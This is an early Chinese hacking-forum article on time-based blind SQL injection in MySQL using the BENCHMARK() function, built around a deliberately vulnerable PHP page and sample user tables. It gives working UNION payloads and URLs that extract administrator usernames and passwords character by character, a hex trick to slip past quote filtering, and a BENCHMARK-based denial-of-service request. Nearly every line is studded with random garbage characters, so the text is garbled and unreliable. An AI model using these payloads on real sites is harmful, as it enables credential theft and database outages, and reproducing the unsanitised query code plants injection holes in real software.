MYSQL中BENCHMARK函数的利用 4 o" k% @# H. P0 v9 Z
本文作者:SuperHei
% K7 x* @. A9 q1 M8 g7 [文章性质:原创
8 }- D" k/ a) W9 ?发布日期:2005-01-02+ O. T6 i3 T% @5 F/ {+ [# S
完成日期:2004-07-09
7 y8 g9 f: K+ y/ @6 f: s第一部" a* v5 z. [* V& @8 K7 k6 T: e5 l
3 \* o" a, X* c% J8 x' J
利用时间推延进行注射---BENCHMARK函数在注射中的利用
$ x, g8 F! z( [. i, O
) _9 a! x1 x# ~6 `, [' @一.前言/思路
! i' N4 n! }" x. _6 ^
7 J7 z. L' h, Q$ ?! q' ^ 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
# e# D2 ]( s9 _2 f- N1 Q. ?$ Z* L! j+ A ^
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。3 u$ I, M! C$ z4 w: E
; y4 n, b4 P4 l二.关于BENCHMARK函数
% P- `" l; f' ? T; c
4 y3 {- }" J, ? 在MySQL参考手册里可以看到如下描叙: - ~7 R, J) w7 o* R, L! o& E7 G) U
) \8 a3 r s; r1 N9 |8 k l4 \, x" H! ^0 m0 K: z- C
--------------------------------------------------------------------------------
y- W3 }. n5 B3 e$ j9 A2 `3 c! M' R9 F1 r9 h
BENCHMARK(count,expr)
9 A* I2 C: K3 w: `& S, a/ C- [; u6 T2 uBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
$ @, }! _: B; C6 x+ f$ T8 _4 wmysql> select BENCHMARK(1000000,encode("hello","goodbye")); $ G) o) i4 o2 |+ ?+ L, W
+----------------------------------------------+
o7 ^: W, s, t0 g- Y$ Y# R| BENCHMARK(1000000,encode("hello","goodbye")) |
/ d& c3 X- o* ?$ O8 D' p+----------------------------------------------+ & ?$ x) ?: K$ P: z( R( m, z, l1 s
| 0 | " ]$ a, k, l* t' H) H
+----------------------------------------------+
A2 l3 O( e2 r. @4 d1 _. u' s+ `1 row in set (4.74 sec) - l( ~7 v, E; B* a" l5 Z
9 D, D% v) f% I- ]
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
9 W# b0 p5 s6 [: o
& L; f, ?' A7 n' U" q; j4 |2 W% A" c
--------------------------------------------------------------------------------
9 y" Y, ?8 X+ d
6 O3 ~8 d% n- U8 u q6 t6 E 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
T4 ~2 n" i8 K+ C1 r _3 j% x- }4 a5 o3 J+ g c0 n* I
mysql> select md5( 'test' );
5 B, W1 Q# Y0 A# o% Q; k& q3 D+----------------------------------+ 9 j' {' G7 q: t; Y0 V2 [
| md5( 'test' ) | ' G: ~, F3 y1 }3 r, A }
+----------------------------------+
/ j) Z8 @, C* h1 ?& l| 098f6bcd4621d373cade4e832627b4f6 |
, O( P0 f* L8 _( `+----------------------------------+ $ P5 w7 n/ l) J% R3 i8 g: ]. b
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
7 l% h n1 U$ K" g( N
! h3 o# H4 d8 s0 E( B+ Nmysql> select benchmark( 500000, md5( 'test' ) ); 9 J5 e/ {! @7 y" { n/ }
+------------------------------------+
7 A* \5 p0 X( H/ E3 q| benchmark( 500000, md5( 'test' ) ) | 8 H- C; G5 O% Q" S6 o( L
+------------------------------------+
+ Y2 I3 {7 p, z; v% [| 0 | 9 s, d6 K+ ^( c7 A9 I' w; q: F
+------------------------------------+ * V' h2 m) w, E
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
5 f( z+ v: L% n1 k$ I; W: c ' }5 p( a1 |+ r2 ^
% m& ?. F! m- i9 p 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
5 E) J B6 c7 |8 O. M$ L& f
9 ] g6 ~# x; z5 `+ l* k三.具体例子5 `1 z2 J4 P) ]$ C0 t
2 |. |1 F8 i6 N$ b( P
首先我们看个简单的php代码:
# U7 z* q. P8 o/ J" k9 t" M4 u+ c% f2 a# L4 L
< ?php * n1 ~6 }, e2 {: g* c
$servername = "localhost"; 9 Y) i! z+ b6 _& W2 \) q
$dbusername = "root";
" [6 Y8 R" |1 o4 o& ^9 h& U( _$dbpassword = ""; - S r9 `# x" F* S8 y& _7 N
$dbname = "injection"; ) L4 X7 [) s& G* o7 l- Q: [& W
7 ?& z3 |1 @9 {" w1 Z& x9 E
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
/ ~, ]% k' I+ J& T6 E( x8 d9 a0 }) r4 ~# E5 F* R
$sql = "SELECT * FROM article WHERE articleid=$id"; % x! ]8 l5 @9 |) O
$result = mysql_db_query($dbname,$sql);
, M, P$ b- J* N& V$ o, l$row = mysql_fetch_array($result); / n& v& b) a k& B* t
7 w; H! S( ^* G/ s$ Yif (!$row)
% x, o c8 q" X; q5 P{ j8 J9 @" f; j5 ?# ^! k* W
exit;
: I3 \4 J% \7 R# t( u, _2 ~2 |" [}
. U$ n/ J9 I: s+ ^?>
?3 l' e2 v5 }. K: t- U
e8 M/ [) W( }' W
' i8 z! W. C0 X% T" q; f8 y 数据库injection结构和内容如下:
; M/ b+ G8 u, A( V1 C
7 m" M0 |0 A, o1 r# V# 数据库 : `injection` : B3 b" [. |' f/ M, W+ y
# ' C2 i+ q! w% @ e: J+ v' u
1 b( W! q9 N4 _1 _# x+ t+ J# -------------------------------------------------------- 2 T2 d }- h$ x0 ~
N6 W) Z5 c: z. g#
& J/ i. q& k4 j& t0 Q5 m; d# 表的结构 `article` 0 r o6 b1 I( T5 e" [1 w5 Z# f
#
0 k0 `& ]* Z4 r; L+ k/ a5 z
: S; l5 B4 A W/ P* E. s" \CREATE TABLE `article` ( 1 m- a, k; W" f% o. X
`articleid` int(11) NOT NULL auto_increment, & y) G$ ^9 P& a |0 R) M4 z# w
`title` varchar(100) NOT NULL default '',
& z" s% q, d/ {$ U7 J; ~/ m`content` text NOT NULL, ( S2 @6 K, N B" ~) ~0 ]7 b4 B! M1 t
PRIMARY KEY (`articleid`) % ]2 j4 z" P# d0 D8 ` T
) TYPE=MyISAM AUTO_INCREMENT=3 ; 6 H9 W% N9 T8 m7 J% Y
' b& ^+ F2 C/ \
#
8 P8 t' S$ T1 J: ^6 l# 导出表中的数据 `article` 3 y5 _% f- W& x- u# v. s) l; O
#
' |. c' Y P; x
; U8 a% A; C$ { pINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
- k. P* T/ E1 P3 F0 x' mINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); % ^5 c; ]5 {8 i
8 K: ^5 v# }$ {3 K! `
# -------------------------------------------------------- ; |: z' ~1 h8 I7 k( |" H9 I
- o2 H" w8 v3 R" `3 \ j0 w3 _
#
. U: l% s8 u# R+ ]) z+ i# 表的结构 `user` 1 U' C3 ?9 ?+ C' F' g& s0 O
# % h; `0 Q) {) T' y5 D( K9 ?9 G- g
4 A+ e) K1 m1 ^1 FCREATE TABLE `user` (
+ k" H; c: T& S`userid` int(11) NOT NULL auto_increment, ! c. U, i9 H, G' P7 S' h
`username` varchar(20) NOT NULL default '', 0 ^% j K! |3 [3 I3 P/ G( x& n) `
`password` varchar(20) NOT NULL default '', 2 w8 I3 ]: P5 c5 O! u& s& A- |1 X
PRIMARY KEY (`userid`) + U, O8 _; ~" r0 h8 K' d( b
) TYPE=MyISAM AUTO_INCREMENT=3 ;
: N& D1 \. C0 P5 F
. l3 m# F) W. V4 i#
" n, k+ o3 L& ?+ I4 f# 导出表中的数据 `user`
/ s& I5 S, S* b! V: j6 x#
# }1 ]. [" g( [" c8 d6 y) Y
9 G% ]: q4 p- aINSERT INTO `user` VALUES (1, 'angel', 'mypass');
9 T$ Z2 Q4 L( x2 m/ u9 @( j, YINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
" a" C; O- e+ s( ~& T" ?' `$ i/ n 4 }$ p5 l! H! _* t S$ K
- x/ U' d0 x s+ Q, m1 i W
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
+ v5 g# R' B/ r) o( ?! V
# `( y0 H. ^( a$ lid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*& l* p$ V! a4 Y7 A* C
3 f$ H1 N; [' U% n- |
( Y, [1 q0 z( O$ }3 c. b 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
' o' I! v1 y# o6 W/ L
) u* g% B* `& ?* Yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 h6 T& M# H0 u. @ ?8 J. `
' `" r% b) A" Z1 g. m5 p, O3 r, i" U+ Z0 g
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 - f9 Q, [5 n" ?5 [$ [
3 f; z6 G8 a4 I5 \' u 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
: [( _! Q: Y6 k
* l( J8 T4 A: @+ G6 y6 `# B* L6 G s第二部
+ G4 E y: z5 {7 \3 e
5 W+ C0 `1 A8 Y$ b3 L利用BENCHMARK函数进行ddos攻击
$ `" G8 f/ y( S! `" {: C& G( F' v8 w, F
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- s; n6 `) F$ \, G* @7 c2 M7 a. m6 \' U9 m+ h( ]' Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))- Q0 [9 n" b! |9 y/ y$ P
$ |- ~/ \! ~2 C3 z
, P$ W; e. L- q+ ?0 T
小结$ ~+ s6 [- {9 P7 o" q! I
! t) a% H# X9 F7 P( b% K+ ?
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
6 B/ l4 m5 ]. f1 z
9 A0 e3 m1 y3 Q2 G3 J5 m7 E i3 \
' `% Z+ M; f2 Q4 U+ d, c' \ |